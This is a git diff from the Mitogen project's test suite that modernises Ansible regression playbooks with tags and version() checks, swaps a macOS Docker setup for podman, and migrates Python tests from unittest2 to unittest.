100755 --- a/tests/ansible/mitogen_ansible_playbook.py +++ b/tests/ansible/mitogen_ansible_playbook.py @@ -1,6 +1,5 @@ #!/usr/bin/env python import os -import subprocess import sys os.environ['ANSIBLE_STRATEGY'] = 'mitogen_linear' os.execlp( diff --git a/tests/ansible/regression/all.yml b/tests/ansible/regression/all.yml index 0d5e43cd..875d520e 100644 --- a/tests/ansible/regression/all.yml +++ b/tests/ansible/regression/all.yml @@ -1,15 +1,30 @@ -- include: issue_109__target_has_old_ansible_installed.yml -- include: issue_113__duplicate_module_imports.yml -- include: issue_118__script_not_marked_exec.yml -- include: issue_122__environment_difference.yml -- include: issue_140__thread_pileup.yml -- include: issue_152__local_action_wrong_interpreter.yml -- include: issue_152__virtualenv_python_fails.yml -- include: issue_154__module_state_leaks.yml -- include: issue_177__copy_module_failing.yml -- include: issue_332_ansiblemoduleerror_first_occurrence.yml -- include: issue_558_unarchive_failed.yml -- include: issue_590__sys_modules_crap.yml -- include: issue_591__setuptools_cwd_crash.yml -- include: issue_615__streaming_transfer.yml -- include: issue_655__wait_for_connection_error.yml +- import_playbook: issue_109__target_has_old_ansible_installed.yml + tags: regression +- import_playbook: issue_113__duplicate_module_imports.yml + tags: regression +- import_playbook: issue_118__script_not_marked_exec.yml + tags: regression +- import_playbook: issue_122__environment_difference.yml + tags: regression +- import_playbook: issue_140__thread_pileup.yml + tags: regression +- import_playbook: issue_152__local_action_wrong_interpreter.yml + tags: regression +- import_playbook: issue_152__virtualenv_python_fails.yml + tags: regression +- import_playbook: issue_154__module_state_leaks.yml + tags: regression +- import_playbook: issue_177__copy_module_failing.yml + tags: regression +- import_playbook: issue_332_ansiblemoduleerror_first_occurrence.yml + tags: regression +- import_playbook: issue_558_unarchive_failed.yml + tags: regression +- import_playbook: issue_590__sys_modules_crap.yml + tags: regression +- import_playbook: issue_591__setuptools_cwd_crash.yml + tags: regression +- import_playbook: issue_615__streaming_transfer.yml + tags: regression +- import_playbook: issue_655__wait_for_connection_error.yml + tags: regression diff --git a/tests/ansible/regression/issue_109__target_has_old_ansible_installed.yml b/tests/ansible/regression/issue_109__target_has_old_ansible_installed.yml index 75e2598a..1188b6ce 100644 --- a/tests/ansible/regression/issue_109__target_has_old_ansible_installed.yml +++ b/tests/ansible/regression/issue_109__target_has_old_ansible_installed.yml @@ -7,7 +7,8 @@ gather_facts: true tasks: - meta: end_play - when: ansible_version.full < '2.6' + when: + - ansible_version.full is version('2.6', '<', strict=True) # Copy the naughty 'ansible' into place. - copy: @@ -25,7 +26,10 @@ that: - env.cwd == ansible_user_dir - (not env.mitogen_loaded) or (env.python_path.count("") == 1) + fail_msg: env={{env}} # Run some new-style modules that 'from ansible.module_utils...' - stat: path: / + tags: + - issue_109 diff --git a/tests/ansible/regression/issue_113__duplicate_module_imports.yml b/tests/ansible/regression/issue_113__duplicate_module_imports.yml index 2b9e3ea8..b479e025 100644 --- a/tests/ansible/regression/issue_113__duplicate_module_imports.yml +++ b/tests/ansible/regression/issue_113__duplicate_module_imports.yml @@ -21,4 +21,7 @@ that: - out.status == -1 - out.url == 'http://127.0.0.1:14321/post' + fail_msg: out={{out}} + tags: + - issue_113 diff --git a/tests/ansible/regression/issue_118__script_not_marked_exec.yml b/tests/ansible/regression/issue_118__script_not_marked_exec.yml index 724644f9..e02c49d3 100644 --- a/tests/ansible/regression/issue_118__script_not_marked_exec.yml +++ b/tests/ansible/regression/issue_118__script_not_marked_exec.yml @@ -6,3 +6,5 @@ tasks: - script: scripts/issue_118_saytrue + tags: + - issue_118 diff --git a/tests/ansible/regression/issue_122__environment_difference.yml b/tests/ansible/regression/issue_122__environment_difference.yml index b020cc5d..273a49ae 100644 --- a/tests/ansible/regression/issue_122__environment_difference.yml +++ b/tests/ansible/regression/issue_122__environment_difference.yml @@ -12,3 +12,5 @@ - script: scripts/print_env.py register: env - debug: msg={{env}} + tags: + - issue_122 diff --git a/tests/ansible/regression/issue_140__thread_pileup.yml b/tests/ansible/regression/issue_140__thread_pileup.yml index a9826d23..e6ea83ce 100644 --- a/tests/ansible/regression/issue_140__thread_pileup.yml +++ b/tests/ansible/regression/issue_140__thread_pileup.yml @@ -29,3 +29,9 @@ mode: 0644 with_filetree: /tmp/filetree.in when: item.state == 'file' + loop_control: + label: "/tmp/filetree.out/{{ item.path }}" + + tags: + - resource_intensive + - issue_140 diff --git a/tests/ansible/regression/issue_152__local_action_wrong_interpreter.yml b/tests/ansible/regression/issue_152__local_action_wrong_interpreter.yml index 5de67ab9..4da6f544 100644 --- a/tests/ansible/regression/issue_152__local_action_wrong_interpreter.yml +++ b/tests/ansible/regression/issue_152__local_action_wrong_interpreter.yml @@ -15,7 +15,7 @@ content: | #!/bin/bash export CUSTOM_INTERPRETER=1 - exec python2.7 "$@" + exec python "$@" - custom_python_detect_environment: vars: @@ -25,7 +25,10 @@ - assert: that: - out.env.CUSTOM_INTERPRETER == "1" + fail_msg: out={{out}} - file: path: /tmp/issue_152_interpreter.sh state: absent + tags: + - issue_152 diff --git a/tests/ansible/regression/issue_152__virtualenv_python_fails.yml b/tests/ansible/regression/issue_152__virtualenv_python_fails.yml index 6df3df12..11f94edd 100644 --- a/tests/ansible/regression/issue_152__virtualenv_python_fails.yml +++ b/tests/ansible/regression/issue_152__virtualenv_python_fails.yml @@ -9,24 +9,31 @@ # Can't use pip module because it can't create virtualenvs, must call it # directly. - shell: virtualenv /tmp/issue_152_virtualenv - when: lout.python_version > '2.6' environment: https_proxy: "{{ lookup('env', 'https_proxy')|default('') }}" no_proxy: "{{ lookup('env', 'no_proxy')|default('') }}" PATH: "{{ lookup('env', 'PATH') }}" + when: + - lout.python.version.full is version('2.7', '>=', strict=True) - custom_python_detect_environment: vars: ansible_python_interpreter: /tmp/issue_152_virtualenv/bin/python register: out - when: lout.python_version > '2.6' + when: + - lout.python.version.full is version('2.7', '>=', strict=True) - assert: that: - out.sys_executable == "/tmp/issue_152_virtualenv/bin/python" - when: lout.python_version > '2.6' + fail_msg: out={{out}} + when: + - lout.python.version.full is version('2.7', '>=', strict=True) - file: path: /tmp/issue_152_virtualenv state: absent - when: lout.python_version > '2.6' + when: + - lout.python.version.full is version('2.7', '>=', strict=True) + tags: + - issue_152 diff --git a/tests/ansible/regression/issue_154__module_state_leaks.yml b/tests/ansible/regression/issue_154__module_state_leaks.yml index faef6e63..59b970d9 100644 --- a/tests/ansible/regression/issue_154__module_state_leaks.yml +++ b/tests/ansible/regression/issue_154__module_state_leaks.yml @@ -15,4 +15,7 @@ that: - out.results[item|int].leak1 == ["David"] - out.results[item|int].leak2 == ["David"] + fail_msg: out={{out}} with_sequence: start=0 end=3 + tags: + - issue_154 diff --git a/tests/ansible/regression/issue_177__copy_module_failing.yml b/tests/ansible/regression/issue_177__copy_module_failing.yml index 593a0ae7..7da39962 100644 --- a/tests/ansible/regression/issue_177__copy_module_failing.yml +++ b/tests/ansible/regression/issue_177__copy_module_failing.yml @@ -17,3 +17,5 @@ with_items: - passwd - hosts + tags: + - issue_177 diff --git a/tests/ansible/regression/issue_332_ansiblemoduleerror_first_occurrence.yml b/tests/ansible/regression/issue_332_ansiblemoduleerror_first_occurrence.yml index 6f32af19..2433e566 100644 --- a/tests/ansible/regression/issue_332_ansiblemoduleerror_first_occurrence.yml +++ b/tests/ansible/regression/issue_332_ansiblemoduleerror_first_occurrence.yml @@ -11,3 +11,6 @@ - assert: that: - out.msg == 'file (/usr/bin/does-not-exist) is absent, cannot continue' + fail_msg: out={{out}} + tags: + - issue_332 diff --git a/tests/ansible/regression/issue_558_unarchive_failed.yml b/tests/ansible/regression/issue_558_unarchive_failed.yml index c6b1c9f6..23e9caad 100644 --- a/tests/ansible/regression/issue_558_unarchive_failed.yml +++ b/tests/ansible/regression/issue_558_unarchive_failed.yml @@ -11,3 +11,5 @@ dest: /tmp/foo # garbage doesn't work with BSD tar when: ansible_system != 'Darwin' + tags: + - issue_558 diff --git a/tests/ansible/regression/issue_590__sys_modules_crap.yml b/tests/ansible/regression/issue_590__sys_modules_crap.yml index 41130b68..81d9b4b2 100644 --- a/tests/ansible/regression/issue_590__sys_modules_crap.yml +++ b/tests/ansible/regression/issue_590__sys_modules_crap.yml @@ -2,7 +2,8 @@ - hosts: test-targets tasks: - meta: end_play - when: ansible_version.full < '2.8' + when: + - ansible_version.full is version('2.8', '<', strict=True) - custom_python_uses_distro: register: out @@ -10,3 +11,6 @@ - assert: that: - "'id' in out.info" + fail_msg: out={{out}} + tags: + - issue_590 diff --git a/tests/ansible/regression/issue_591__setuptools_cwd_crash.yml b/tests/ansible/regression/issue_591__setuptools_cwd_crash.yml index fc73825c..02676cb5 100644 --- a/tests/ansible/regression/issue_591__setuptools_cwd_crash.yml +++ b/tests/ansible/regression/issue_591__setuptools_cwd_crash.yml @@ -22,3 +22,5 @@ script: | import os self._connection.get_chain().call(os.getcwd) + tags: + - issue_591 diff --git a/tests/ansible/regression/issue_615__streaming_transfer.yml b/tests/ansible/regression/issue_615__streaming_transfer.yml index aa7c62c4..3e174bed 100644 --- a/tests/ansible/regression/issue_615__streaming_transfer.yml +++ b/tests/ansible/regression/issue_615__streaming_transfer.yml @@ -1,21 +1,32 @@ # issue #615: 'fetch' with become: was internally using slurp. -- hosts: target +- hosts: test-targets any_errors_fatal: True gather_facts: no + # Without Mitogen this causes Ansible to use the slurp module, which is *slow* become: true vars: mitogen_ssh_compression: false tasks: - - shell: | - dd if=/dev/zero of=/tmp/512mb.zero bs=1048576 count=512; - chmod go= /tmp/512mb.zero + - block: + - shell: | + dd if=/dev/zero of=/tmp/512mb.zero bs=1048576 count=512; + chmod go= /tmp/512mb.zero - - fetch: - src: /tmp/512mb.zero - dest: /tmp/fetch-out + - fetch: + src: /tmp/512mb.zero + dest: /tmp/fetch-out - - file: - path: /tmp/fetch-out - state: absent - delegate_to: localhost + - file: + path: /tmp/512mb.zero + state: absent + + - file: + path: /tmp/fetch-out + state: absent + delegate_to: localhost + run_once: true + when: + - is_mitogen + tags: + - issue_615 diff --git a/tests/ansible/regression/issue_655__wait_for_connection_error.yml b/tests/ansible/regression/issue_655__wait_for_connection_error.yml index aa9472ec..cf0ff359 100644 --- a/tests/ansible/regression/issue_655__wait_for_connection_error.yml +++ b/tests/ansible/regression/issue_655__wait_for_connection_error.yml @@ -13,36 +13,33 @@ - name: set up test container and run tests inside it block: - name: install deps - block: - - name: install docker - shell: | - # NOTE: for tracking purposes: https://github.com/docker/for-mac/issues/2359 - # using docker for mac CI workaround: https://github.com/drud/ddev/pull/1748/files#diff-19288f650af2dabdf1dcc5b354d1f245 - DOCKER_URL=https://download.docker.com/mac/stable/31259/Docker.dmg && - curl -O -sSL $DOCKER_URL && - open -W Docker.dmg && cp -r /Volumes/Docker/Docker.app /Applications - sudo /Applications/Docker.app/Contents/MacOS/Docker --quit-after-install --unattended && - ln -s /Applications/Docker.app/Contents/Resources/bin/docker /usr/local/bin/docker && - nohup /Applications/Docker.app/Contents/MacOS/Docker --unattended & - # wait 2 min for docker to come up - counter=0 && - while ! /usr/local/bin/docker ps 2>/dev/null ; do - if [ $counter -lt 24 ]; then - let counter=counter+1 - else - exit 1 - fi - sleep 5 - done + homebrew: + name: + - podman + state: present + + - name: start machine + command: + cmd: "{{ item.cmd }}" + loop: + - cmd: podman machine init + - cmd: podman machine start + - cmd: podman info + timeout: 300 + register: podman_machine + + - debug: + var: podman_machine # python bindings (docker_container) aren't working on this host, so gonna shell out - - name: create docker container - shell: /usr/local/bin/docker run --name testMitogen -d --rm centos:8 bash -c "sleep infinity & wait" + - name: create container + command: + cmd: podman run --name testMitogen -d --rm centos:8 bash -c "sleep infinity & wait" - name: add container to inventory add_host: name: testMitogen - ansible_connection: docker + ansible_connection: podman ansible_user: root changed_when: false environment: @@ -82,4 +79,10 @@ PATH: /usr/local/bin/:{{ ansible_env.PATH }} - name: remove test container - shell: /usr/local/bin/docker stop testMitogen + command: + cmd: "{{ item.cmd }}" + loop: + - cmd: podman stop testMitogen + - cmd: podman machine stop + tags: + - issue_655 diff --git a/tests/ansible/requirements.txt b/tests/ansible/requirements.txt index c0386cd8..2c3c87c8 100644 --- a/tests/ansible/requirements.txt +++ b/tests/ansible/requirements.txt @@ -1,4 +1,4 @@ paramiko==2.3.2 # Last 2.6-compat version. hdrhistogram==0.6.1 PyYAML==3.11; python_version < '2.7' -PyYAML==3.13; python_version >= '2.7' +PyYAML==5.3.1; python_version >= '2.7' # Latest release (Jan 2021) diff --git a/tests/ansible/setup/all.yml b/tests/ansible/setup/all.yml new file mode 100644 index 00000000..2ca6b97c --- /dev/null +++ b/tests/ansible/setup/all.yml @@ -0,0 +1 @@ +- import_playbook: report.yml diff --git a/tests/ansible/setup/report.yml b/tests/ansible/setup/report.yml new file mode 100644 index 00000000..9077158f --- /dev/null +++ b/tests/ansible/setup/report.yml @@ -0,0 +1,19 @@ +- name: Report runtime settings + hosts: localhost:test-targets + gather_facts: true + tasks: + - debug: {var: ansible_facts.distribution} + - debug: {var: ansible_facts.distribution_major_version} + - debug: {var: ansible_facts.distribution_release} + - debug: {var: ansible_facts.distribution_version} + - debug: {var: ansible_facts.kernel} + - debug: {var: ansible_facts.kernel_version} + - debug: {var: ansible_facts.os_family} + - debug: {var: ansible_facts.osrevision} + - debug: {var: ansible_facts.osversion} + - debug: {var: ansible_facts.python} + - debug: {var: ansible_facts.system} + - debug: {var: ansible_forks} + - debug: {var: ansible_run_tags} + - debug: {var: ansible_skip_tags} + - debug: {var: ansible_version.full} diff --git a/tests/ansible/soak/file_service.yml b/tests/ansible/soak/file_service.yml index 0640233a..65b10b2d 100644 --- a/tests/ansible/soak/file_service.yml +++ b/tests/ansible/soak/file_service.yml @@ -4,3 +4,5 @@ content: "{% for x in range(126977) %}x{% endfor %}" - include: _file_service_loop.yml with_sequence: start=1 end=100 + tags: + - resource_intensive diff --git a/tests/ansible/tests/affinity_test.py b/tests/ansible/tests/affinity_test.py index 9572717f..0051a701 100644 --- a/tests/ansible/tests/affinity_test.py +++ b/tests/ansible/tests/affinity_test.py @@ -1,11 +1,9 @@ - import multiprocessing import os import sys import tempfile +import unittest -import mock -import unittest2 import testlib import mitogen.parent @@ -18,7 +16,7 @@ class NullFixedPolicy(ansible_mitogen.affinity.FixedPolicy): self.mask = mask -@unittest2.skipIf( +@unittest.skipIf( reason='Linux only', condition=(not os.uname()[0] == 'Linux') ) @@ -29,139 +27,139 @@ class FixedPolicyTest(testlib.TestCase): # Uniprocessor . policy = self.klass(cpu_count=1) policy.assign_controller() - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) def test_assign_controller_2core(self): # Small SMP gets 1.. % cpu_count policy = self.klass(cpu_count=2) policy.assign_controller() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_controller() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_controller() def test_assign_controller_3core(self): # Small SMP gets 1.. % cpu_count policy = self.klass(cpu_count=3) policy.assign_controller() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_controller() - self.assertEquals(0x4, policy.mask) + self.assertEqual(0x4, policy.mask) policy.assign_controller() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_controller() - self.assertEquals(0x4, policy.mask) + self.assertEqual(0x4, policy.mask) policy.assign_controller() def test_assign_controller_4core(self): # Big SMP gets a dedicated core. policy = self.klass(cpu_count=4) policy.assign_controller() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_controller() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) def test_assign_muxprocess_1core(self): # Uniprocessor . policy = self.klass(cpu_count=1) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) def test_assign_muxprocess_2core(self): # Small SMP gets dedicated core. policy = self.klass(cpu_count=2) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) policy.assign_muxprocess(0) def test_assign_muxprocess_3core(self): # Small SMP gets a dedicated core. policy = self.klass(cpu_count=3) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) def test_assign_muxprocess_4core(self): # Big SMP gets a dedicated core. policy = self.klass(cpu_count=4) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) policy.assign_muxprocess(0) - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) def test_assign_worker_1core(self): # Balance n % 1 policy = self.klass(cpu_count=1) policy.assign_worker() - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) policy.assign_worker() - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) def test_assign_worker_2core(self): # Balance n % 1 policy = self.klass(cpu_count=2) policy.assign_worker() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_worker() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) def test_assign_worker_3core(self): # Balance n % 1 policy = self.klass(cpu_count=3) policy.assign_worker() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_worker() - self.assertEquals(0x4, policy.mask) + self.assertEqual(0x4, policy.mask) policy.assign_worker() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) def test_assign_worker_4core(self): # Balance n % 1 policy = self.klass(cpu_count=4) policy.assign_worker() - self.assertEquals(4, policy.mask) + self.assertEqual(4, policy.mask) policy.assign_worker() - self.assertEquals(8, policy.mask) + self.assertEqual(8, policy.mask) policy.assign_worker() - self.assertEquals(4, policy.mask) + self.assertEqual(4, policy.mask) def test_assign_subprocess_1core(self): # allow all except reserved. policy = self.klass(cpu_count=1) policy.assign_subprocess() - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) policy.assign_subprocess() - self.assertEquals(0x1, policy.mask) + self.assertEqual(0x1, policy.mask) def test_assign_subprocess_2core(self): # allow all except reserved. policy = self.klass(cpu_count=2) policy.assign_subprocess() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) policy.assign_subprocess() - self.assertEquals(0x2, policy.mask) + self.assertEqual(0x2, policy.mask) def test_assign_subprocess_3core(self): # allow all except reserved. policy = self.klass(cpu_count=3) policy.assign_subprocess() - self.assertEquals(0x2 + 0x4, policy.mask) + self.assertEqual(0x2 + 0x4, policy.mask) policy.assign_subprocess() - self.assertEquals(0x2 + 0x4, policy.mask) + self.assertEqual(0x2 + 0x4, policy.mask) def test_assign_subprocess_4core(self): # allow all except reserved. policy = self.klass(cpu_count=4) policy.assign_subprocess() - self.assertEquals(0x4 + 0x8, policy.mask) + self.assertEqual(0x4 + 0x8, policy.mask) policy.assign_subprocess() - self.assertEquals(0x4 + 0x8, policy.mask) + self.assertEqual(0x4 + 0x8, policy.mask) -@unittest2.skipIf( +@unittest.skipIf( reason='Linux/SMP only', condition=(not ( os.uname()[0] == 'Linux' and @@ -179,19 +177,20 @@ class LinuxPolicyTest(testlib.TestCase): try: for line in fp: if line.startswith('Cpus_allowed'): - return int(line.split()[1], 16) + mask = line.split()[1].replace(',', '') + return int(mask, 16) finally: fp.close() def test_set_cpu_mask(self): self.policy._set_cpu_mask(0x1) - self.assertEquals(0x1, self._get_cpus()) + self.assertEqual(0x1, self._get_cpus()) self.policy._set_cpu_mask(0x2) - self.assertEquals(0x2, self._get_cpus()) + self.assertEqual(0x2, self._get_cpus()) self.policy._set_cpu_mask(0x3) - self.assertEquals(0x3, self._get_cpus()) + self.assertEqual(0x3, self._get_cpus()) def test_clear_on_popen(self): tf = tempfile.NamedTemporaryFile() @@ -222,11 +221,7 @@ class MockLinuxPolicyTest(testlib.TestCase): for x in range(1, 4096, 32): policy.assign_subprocess() -MockLinuxPolicyTest = unittest2.skipIf( +MockLinuxPolicyTest = unittest.skipIf( condition=(not sys.platform.startswith('linuxPolicy')), reason='select.select() not supported' )(MockLinuxPolicyTest) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/ansible/tests/connection_test.py b/tests/ansible/tests/connection_test.py index e6578954..8a831a5e 100644 --- a/tests/ansible/tests/connection_test.py +++ b/tests/ansible/tests/connection_test.py @@ -1,19 +1,12 @@ - from __future__ import absolute_import import os -import os.path -import subprocess import tempfile -import time - -import unittest2 import mock import ansible.errors import ansible.playbook.play_context import mitogen.core -import mitogen.utils import ansible_mitogen.connection import ansible_mitogen.plugins.connection.mitogen_local @@ -27,7 +20,6 @@ class MuxProcessMixin(object): @classmethod def setUpClass(cls): - #mitogen.utils.log_to_file() cls.model = ansible_mitogen.process.get_classic_worker_model( _init_logging=False ) @@ -93,20 +85,20 @@ class OptionalIntTest(testlib.TestCase): func = staticmethod(ansible_mitogen.connection.optional_int) def test_already_int(self): - self.assertEquals(0, self.func(0)) - self.assertEquals(1, self.func(1)) - self.assertEquals(-1, self.func(-1)) + self.assertEqual(0, self.func(0)) + self.assertEqual(1, self.func(1)) + self.assertEqual(-1, self.func(-1)) def test_is_string(self): - self.assertEquals(0, self.func("0")) - self.assertEquals(1, self.func("1")) - self.assertEquals(-1, self.func("-1")) + self.assertEqual(0, self.func("0")) + self.assertEqual(1, self.func("1")) + self.assertEqual(-1, self.func("-1")) def test_is_none(self): - self.assertEquals(None, self.func(None)) + self.assertEqual(None, self.func(None)) def test_is_junk(self): - self.assertEquals(None, self.func({1:2})) + self.assertEqual(None, self.func({1:2})) class FetchFileTest(ConnectionMixin, testlib.TestCase): @@ -121,7 +113,7 @@ class FetchFileTest(ConnectionMixin, testlib.TestCase): # transfer_file() uses os.rename rather than direct data # overwrite, so we must reopen. with open(ofp.name, 'rb') as fp: - self.assertEquals(ifp.read(), fp.read()) + self.assertEqual(ifp.read(), fp.read()) class PutDataTest(ConnectionMixin, testlib.TestCase): @@ -131,7 +123,8 @@ class PutDataTest(ConnectionMixin, testlib.TestCase): self.conn.put_data(path, contents) self.wait_for_completion() - self.assertEquals(contents, open(path, 'rb').read()) + with open(path, 'rb') as f: + self.assertEqual(contents, f.read()) os.unlink(path) def test_mode(self): @@ -141,7 +134,7 @@ class PutDataTest(ConnectionMixin, testlib.TestCase): self.conn.put_data(path, contents, mode=int('0123', 8)) self.wait_for_completion() st = os.stat(path) - self.assertEquals(int('0123', 8), st.st_mode & int('0777', 8)) + self.assertEqual(int('0123', 8), st.st_mode & int('0777', 8)) os.unlink(path) @@ -165,17 +158,18 @@ class PutFileTest(ConnectionMixin, testlib.TestCase): path = tempfile.mktemp(prefix='mitotest') self.conn.put_file(in_path=__file__, out_path=path) self.wait_for_completion() - self.assertEquals(open(path, 'rb').read(), - open(__file__, 'rb').read()) - + with open(path, 'rb') as path_f: + with open(__file__, 'rb') as __file__f: + self.assertEqual(path_f.read(), __file__f.read()) os.unlink(path) def test_out_path_big(self): path = tempfile.mktemp(prefix='mitotest') self.conn.put_file(in_path=self.big_path, out_path=path) self.wait_for_completion() - self.assertEquals(open(path, 'rb').read(), - open(self.big_path, 'rb').read()) + with open(path, 'rb') as path_f: + with open(self.big_path, 'rb') as big_path_f: + self.assertEqual(path_f.read(), big_path_f.read()) #self._compare_times_modes(path, __file__) os.unlink(path) @@ -183,7 +177,3 @@ class PutFileTest(ConnectionMixin, testlib.TestCase): path = tempfile.mktemp(prefix='mitotest') self.assertRaises(ansible.errors.AnsibleFileNotFound, lambda: self.conn.put_file(in_path='/nonexistent', out_path=path)) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/ansible/tests/env_file_watcher_test.py b/tests/ansible/tests/env_file_watcher_test.py index 8803a6c2..6ca1b7e0 100644 --- a/tests/ansible/tests/env_file_watcher_test.py +++ b/tests/ansible/tests/env_file_watcher_test.py @@ -1,9 +1,6 @@ import os -import sys import tempfile -import mock -import unittest2 import testlib from mitogen.core import b @@ -68,7 +65,3 @@ class WatcherTest(testlib.TestCase): self.tf.flush() watcher.check() self.assertEqual(environb[b('SOMEKEY')], b('\xff\xff\xff')) - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/ansible/tests/target_test.py b/tests/ansible/tests/target_test.py index 6bdc949b..0e588baa 100644 --- a/tests/ansible/tests/target_test.py +++ b/tests/ansible/tests/target_test.py @@ -1,9 +1,8 @@ - from __future__ import absolute_import import os.path import subprocess import tempfile -import unittest2 +import unittest import mock @@ -56,18 +55,18 @@ class FindGoodTempDirTest(testlib.TestCase): -class ApplyModeSpecTest(unittest2.TestCase): +class ApplyModeSpecTest(unittest.TestCase): func = staticmethod(ansible_mitogen.target.apply_mode_spec) def test_simple(self): spec = 'u+rwx,go=x' - self.assertEquals(int('0711', 8), self.func(spec, 0)) + self.assertEqual(int('0711', 8), self.func(spec, 0)) spec = 'g-rw' - self.assertEquals(int('0717', 8), self.func(spec, int('0777', 8))) + self.assertEqual(int('0717', 8), self.func(spec, int('0777', 8))) -class IsGoodTempDirTest(unittest2.TestCase): +class IsGoodTempDirTest(unittest.TestCase): func = staticmethod(ansible_mitogen.target.is_good_temp_dir) def test_creates(self): @@ -84,8 +83,11 @@ class IsGoodTempDirTest(unittest2.TestCase): fp.write('derp') self.assertTrue(os.path.isfile(bleh)) self.assertFalse(self.func(bleh)) - self.assertEquals(open(bleh).read(), 'derp') + with open(bleh) as fp: + self.assertEqual(fp.read(), 'derp') + @unittest.skipIf( + os.geteuid() == 0, 'writes by root ignore directory permissions') def test_unwriteable(self): with NamedTemporaryDirectory() as temp_path: os.chmod(temp_path, 0) @@ -103,8 +105,3 @@ class IsGoodTempDirTest(unittest2.TestCase): os_access.return_value = False with NamedTemporaryDirectory() as temp_path: self.assertFalse(self.func(temp_path)) - - - -if __name__ == '__main__': - unittest2.main() diff --git a/tests/bench/fork.py b/tests/bench/fork.py index af5cb3a7..d77f4437 100644 --- a/tests/bench/fork.py +++ b/tests/bench/fork.py @@ -5,6 +5,12 @@ Measure latency of .fork() setup/teardown. import mitogen import mitogen.core +try: + xrange +except NameError: + xrange = range + + @mitogen.main() def main(router): t0 = mitogen.core.now() @@ -12,4 +18,4 @@ def main(router): t = mitogen.core.now() ctx = router.fork() ctx.shutdown(wait=True) - print '++', 1000 * ((mitogen.core.now() - t0) / (1.0+x)) + print('++ %d' % 1000 * ((mitogen.core.now() - t0) / (1.0+x))) diff --git a/tests/bench/large_messages.py b/tests/bench/large_messages.py index e977e36d..8593a33a 100644 --- a/tests/bench/large_messages.py +++ b/tests/bench/large_messages.py @@ -1,10 +1,5 @@ - # Verify _receive_one() quadratic behaviour fixed. -import subprocess -import time -import socket - import mitogen import mitogen.core diff --git a/tests/bench/latch_roundtrip.py b/tests/bench/latch_roundtrip.py index 1198aa48..cbc48374 100644 --- a/tests/bench/latch_roundtrip.py +++ b/tests/bench/latch_roundtrip.py @@ -3,9 +3,7 @@ Measure latency of IPC between two local threads. """ import threading -import time -import mitogen import mitogen.core import mitogen.utils import ansible_mitogen.affinity diff --git a/tests/bench/local.py b/tests/bench/local.py index aefeb84d..0653a0de 100644 --- a/tests/bench/local.py +++ b/tests/bench/local.py @@ -2,8 +2,6 @@ Measure latency of .local() setup. """ -import time - import mitogen import mitogen.core import mitogen.utils diff --git a/tests/bench/megatime.py b/tests/bench/megatime.py index 40cd9986..87062769 100755 --- a/tests/bench/megatime.py +++ b/tests/bench/megatime.py @@ -2,7 +2,6 @@ import sys import os -import time import mitogen.core diff --git a/tests/bench/roundtrip.py b/tests/bench/roundtrip.py index 8f31b1a2..774dfc5b 100644 --- a/tests/bench/roundtrip.py +++ b/tests/bench/roundtrip.py @@ -2,9 +2,6 @@ Measure latency of local RPC. """ -import time - -import mitogen import mitogen.core import mitogen.utils import ansible_mitogen.affinity diff --git a/tests/bench/service.py b/tests/bench/service.py index 267ae3f6..d3a71b79 100644 --- a/tests/bench/service.py +++ b/tests/bench/service.py @@ -1,9 +1,6 @@ """ Measure latency of local service RPC. """ - -import time - import mitogen import mitogen.core import mitogen.service diff --git a/tests/bench/ssh-roundtrip.py b/tests/bench/ssh-roundtrip.py index 06c596c0..c5f14574 100644 --- a/tests/bench/ssh-roundtrip.py +++ b/tests/bench/ssh-roundtrip.py @@ -3,9 +3,7 @@ Measure latency of SSH RPC. """ import sys -import time -import mitogen import mitogen.core import mitogen.utils import ansible_mitogen.affinity diff --git a/tests/bench/throughput.py b/tests/bench/throughput.py index acb51afa..7d67d158 100644 --- a/tests/bench/throughput.py +++ b/tests/bench/throughput.py @@ -1,11 +1,7 @@ # Verify throughput over sudo and SSH at various compression levels. import os -import random -import socket -import subprocess import tempfile -import time import mitogen import mitogen.core diff --git a/tests/broker_test.py b/tests/broker_test.py index 2212d8aa..d58d9480 100644 --- a/tests/broker_test.py +++ b/tests/broker_test.py @@ -1,9 +1,4 @@ - -import time -import threading - import mock -import unittest2 import testlib @@ -19,7 +14,7 @@ class ShutdownTest(testlib.TestCase): broker.poller.close = mock.Mock() broker.shutdown() broker.join() - self.assertEquals(1, len(broker.poller.close.mock_calls)) + self.assertEqual(1, len(broker.poller.close.mock_calls)) actual_close() @@ -31,7 +26,7 @@ class DeferTest(testlib.TestCase): broker = self.klass() try: broker.defer(lambda: latch.put(123)) - self.assertEquals(123, latch.get()) + self.assertEqual(123, latch.get()) finally: broker.shutdown() broker.join() @@ -44,7 +39,7 @@ class DeferTest(testlib.TestCase): e = self.assertRaises(mitogen.core.Error, lambda: broker.defer(lambda: latch.put(123))) - 